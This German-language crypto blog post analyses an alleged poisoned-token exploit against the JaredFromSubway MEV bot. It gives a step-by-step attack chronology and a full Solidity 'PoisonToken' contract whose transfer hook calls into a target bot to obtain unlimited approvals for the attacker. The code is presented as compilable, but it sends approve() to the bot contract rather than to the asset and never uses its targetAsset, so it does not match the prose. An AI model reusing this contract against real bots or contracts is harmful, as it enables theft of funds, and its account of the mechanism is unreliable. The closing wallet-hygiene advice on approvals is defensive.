Der JaredFromSubway-Vorfall ist nicht einfach nur der nächste plumpe DeFi-Hack, sondern ein fundamentaler Systemwechsel in der „Nahrungskette“ von Ethereum. Eine gefühlte Ewigkeit galten MEV-Bots als die unangefochtenen Spitzenprädatoren im Mempool, die mittels hochkomplexer Simulationen risikofreie Profite auf dem Nacken ganz normaler Retail-Trader abgegriffen haben. Doch die Attacke, die die Betreiber von JaredFromSubway über 15 Millionen Dollar gekostet hat, beweist schmerzhaft: Automatisierung ohne strikte Isolation des Execution Contexts ist absolut tödlich.
Es folgt ein tiefer technischer Breakdown des Exploits, die Architektur des Honey Pots und das konkrete Beispiel für den anfälligen Code, der den schärfsten Trading-Bot im Krypto-Space in einen unfreiwilligen Liquiditätsspender verwandelt hat.
Anatomie der Schwachstelle: Wo hat sich Jareds Algorithmus verkalkuliert?
Klassische MEV-Bots, die Sandwich-Attacken fahren, nutzen Off-Chain-Simulations-Engines (meist stark modifizierte Geth- oder Erigon-Clients). Bevor ein Bundle über Flashbots oder die Builder-API rausgeht, jagt der Bot den EVM-State lokal durch eine Simulation. Wirft dieser Testlauf einen sauberen Netto-Profit in WETH ab, wird die Transaktionskette in den Block geschossen.
Die Angreifer haben die Achillesferse dieser Logik ausgenutzt: die dynamische Ausführung von ungeprüftem Bytecode.
Um Gas-Fees zu sparen, lief JaredFromSubways Bot auf maximaler Routen-Optimierung. Statt für jeden einzelnen Trade einen neuen Smart Contract zu deployen, nutzte er einen permanenten Router-Contract, auf dem die akkumulierte Liquidität lag und der über infinite approvals (unbegrenzte Freigaben) für diverse Uniswap V2/V3-Pools verfügte. Der Bot ging von der naiven Prämisse aus, dass externe ERC-20-Token absolut sicher sind, solange die Mathematik der Pool-Salden vor und nach dem Swap aufgeht.
Die Hacker bauten genau dafür einen Bait-Token, dessen transfer/transferFrom-Funktion eine versteckte Schadlast (Payload) enthielt. Als der Bot die swap-Funktion des Pools triggerte, gab die EVM die Kontrolle direkt an den Code des bösartigen Tokens ab. Statt einfach nur die Balances im Mapping zu aktualisieren, feuerte der manipulierte Token einen Low-Level-call zurück in den Bot-Contract. Dadurch wurde der Bot gezwungen, ein unlimitiertes approve für seine wichtigsten Assets (WETH, USDC, USDT) zugunsten der Hacker-Adresse zu signieren. Die Off-Chain-Simulation des Bots hat die Falle nicht gerochen: Im lokalen Test stieg die Token-Balance plangemäß, während der eigentliche Abzug der echten Gelder erst im nächsten Schritt stattfand – den der Bot da schon als "Safe" durchgewunken hatte.
Die Chronologie des Exploits: Step-by-Step
1. Setup der Infrastruktur und Deployment des Gift-Tokens
Die Angreifer haben den Smart Contract des Tokens deployt und eine Liquiditäts-Pool aufgesetzt. Im Token selbst war eine Custom-Logik verbaut, die komplett im Hintergrund blieb – es sei denn, der Initiator der Transaktion war die bekannte Router-Adresse von JaredFromSubway.
2. Auslegen des Köders (Baiting)
Die Hacker jagten eine fette Kauforder für ihren eigenen Token durch den öffentlichen Mempool. Für die Algorithmen des Bots sah das nach dem perfekten Setup für ein Lehrbuch-Sandwich aus: extrem dünne Pool-Liquidität, garantiertes hohes Slippage und fetter mathematischer Profit durch den Frontrun-Kauf.
3. Die Kaperung des Execution Flows (The Hijacking)
Der Bot schnappte sich die Transaktion, schnürte das Bundle und schmierte den Validator mit einer saftigen Priority-Fee, um sich den ersten Platz im Block zu sichern.
[Ethereum-Block] ├── Tx 1 (Frontrun): Bot kauft Fake-Token -> Schadcode triggert -> Erzwungener approve()-Aufruf ├── Tx 2 (Opfer): Hacker zieht den geplanten Swap durch └── Tx 3 (Backrun): Bot versucht den Token zu dumpen (zu dem Zeitpunkt schon völlig wertlos)
Im Moment, als die erste Transaktion im Pool aufschlug, kaperte der Token-Contract den kompletten Execution Flow. Der Bot-Router vertraute den gehandelten Token blind – und genau diese Architekturschwäche nutzte der Hacker-Contract, um den Bot zu folgendem Befehl zu zwingen:
asset.approve(attacker_address, type(uint256).max).4. Wallet-Drainage via transferFrom
Nachdem die Angreifer die volle Verfügungsgewalt über die Core-Bestände des Bots hatten, warteten sie nicht mal das Ende des Blocks ab. Noch im Rahmen derselben Attacke (oder direkt im darauffolgenden Block via atomarer Bundles) triggerte der bösartige Contract die
transferFrom-Funktion auf den Kontrakten von WETH, USDC und USDT. Insgesamt wurden von allen verknüpften JaredFromSubway-Adressen über 15 Millionen Dollar abgesaugt, darunter eine einzige Tranche von satten 7,5 Millionen Dollar.
Vergleichs-Analyse: Klassisches Sandwich vs. „Jared“-Honey-Pot-Exploit
| Parameter | Klassisches Sandwich (Jared) | Konter-Attacke der Hacker (Honey Pot) |
|---|---|---|
| Angriffsziel | Normaler User (Market Order) | MEV-Bot (Automatisierter Router) |
| Hauptwerkzeug | Preismanipulation durch gezieltes Transaktions-Ordering | Einschleusen von bösartigem Bytecode via ERC-20 |
| Angriffsvektor | Hohe Slippage-Toleranz des Traders | Fehlende Berechtigungs-Isolation (Approvals) im Bot |
| Ergebnis | Bot fängt Mikro-Spreads ab (0.1% - 5%) | Hacker zieht die komplette Working-Liquidity des Bots ab |
Die Architektur eines "Poisoned Tokens" (PoC-Konzept)
Hier ist ein vollständiger, kompilierbarer Solidity Smart Contract, der zeigt, wie ein Token den Execution Flow hijacked und den aufrufenden Kontrakt zwingt, unbegrenzte Approvals rauszurücken.
Wichtig: Dieser Code dient rein zu Bildungszwecken, um den Attack Vector zu analysieren und bessere Defense-Strukturen zu bauen. Keine Script-Kiddie-Aktionen damit starten.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
}
contract PoisonToken {
string public name = "HoneyPot MEV Bait";
string public symbol = "BAIT";
uint8 public decimals = 18;
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
address public immutable attacker;
address public targetBot;
address public immutable targetAsset; // Zum Beispiel der WETH-Kontrakt
bool private inAttack;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
constructor(address _targetAsset) {
attacker = msg.sender;
targetAsset = _targetAsset;
totalSupply = 1000000 * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
}
function setTargetBot(address _bot) external {
require(msg.sender == attacker, "Only attacker can set target");
targetBot = _bot;
}
function transfer(address to, uint256 value) external returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint256 value) external returns (bool) {
uint256 allowed = allowance[from][msg.sender];
if (allowed != type(uint256).max) {
require(allowed >= value, "ERC20: insufficient allowance");
allowance[from][msg.sender] = allowed - value;
}
_transfer(from, to, value);
return true;
}
function approve(address spender, uint256 value) external returns (bool) {
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(balanceOf[from] >= value, "ERC20: transfer amount exceeds balance");
balanceOf[from] -= value;
balanceOf[to] += value;
emit Transfer(from, to, value);
// Attack-Trigger: Wenn der Call vom Bot kommt oder zum Bot geht und wir noch nicht im Reentrancy-Loop sind
if ((from == targetBot || to == targetBot) && !inAttack && targetBot != address(0)) {
inAttack = true;
// Wir jagen einen Reentrancy-ähnlichen Low-Level-Call direkt in den Bot-Kontrakt.
// Wir exploiten die Logik des Bots, weil er mitten im Swap blind Arbitrary Calls
// basierend auf den übergebenen Daten ausführt.
// Das simuliert ein erzwungenes WETH-Approval für den Attacker.
bytes memory payload = abi.encodeWithSignature(
"approve(address,uint256)",
attacker,
type(uint256).max
);
// Der Bot frisst den Call blind, weil sein Router den Anweisungen aus dem Pool-Kontext vertraut
(bool success, ) = targetBot.call(payload);
require(success, "Exploit execution failed");
inAttack = false;
}
}
}Sichere deine Bags: Lektionen für ganz normale Retailer
Auch wenn dieser Krieg auf einem Level von "Alien vs. Predator" zwischen fetten MEV-Whales stattfand, können normale Retail-Nutzer extrem viel über Wallet-Hygiene lernen. Der Bot von JaredFromSubway wurde komplett gerifft (rekt), weil er unkontrollierte Rechte (infinite approvals) verteilt hat. Genau diesem Risiko setzen sich normale Wallets jeden Tag unbewusst aus.
Sobald du mit irgendeinem DeFi-Protokoll interagierst (egal ob du auf Uniswap swappst, den 1inch Router nutzt oder auf Lending-Plattformen unterwegs bist), verlangt deine Wallet zwei Signaturen: zuerst das Approve (damit der Kontrakt deine Token überhaupt anfassen darf) und danach den eigentlichen Swap oder Deposit.
Die meisten dApps fordern standardmäßig Zugriff auf unendlich viele Token (uint256.max). Das wird gern mit der UX begründet, damit du bei zukünftigen Trades nicht jedes Mal neu Gasgebühren für ein weiteres Approval blechen musst.
Der Haken an der Sache: Wenn der Smart Contract des Protokolls geexploitet wird (wie es bei Jareds Router passiert ist) oder wenn du aus Versehen ein Approval auf einer Phishing-Seite unterschreibst, kann der Angreifer jederzeit die
transferFrom-Funktion triggern und deine Wallet komplett leersaugen – selbst wenn deine Token einfach nur unberührt auf deiner Adresse lagen.
Checkliste: So wirst du nicht das nächste Opfer versteckter Approvals
Nutze manuelle Limits (Custom Allowance):
Wenn das
Approve-Fenster in MetaMask oder Rabby Wallet aufpoppt, klicke niemals blind auf "Max". Trag manuell genau die Summe ein, die du jetzt gerade swappen willst. Wenn du 100 USDC tauschst, darf die Freigabe strikt nur für 100 USDC gelten.Regelmäßig Berechtigungen revoken:
Mach es dir zur Gewohnheit, einmal im Monat deine aktiven Approvals zu prüfen. Nutze dafür etablierte Tools wie Revoke.cash oder check direkt die Block-Explorer über den Reiter Token Approvals auf Etherscan.
Wallets strikt nach Rollen trennen (Wallet Segregation):
Lass deinen Hauptbestand (deine Vault) auf einer Cold Hardware Wallet liegen, die absolut nie mit irgendwelchen Smart Contracts interagiert oder irgendwas signiert. Für das tägliche Traden, Shitcoin-Zocken oder NFT-Minten nutzt du eine "Hot Burner Wallet" mit minimalem Guthaben, bei der ein Totalverlust durch einen Reentrancy-Attack oder einen Pool-Huck verschmerzbar ist.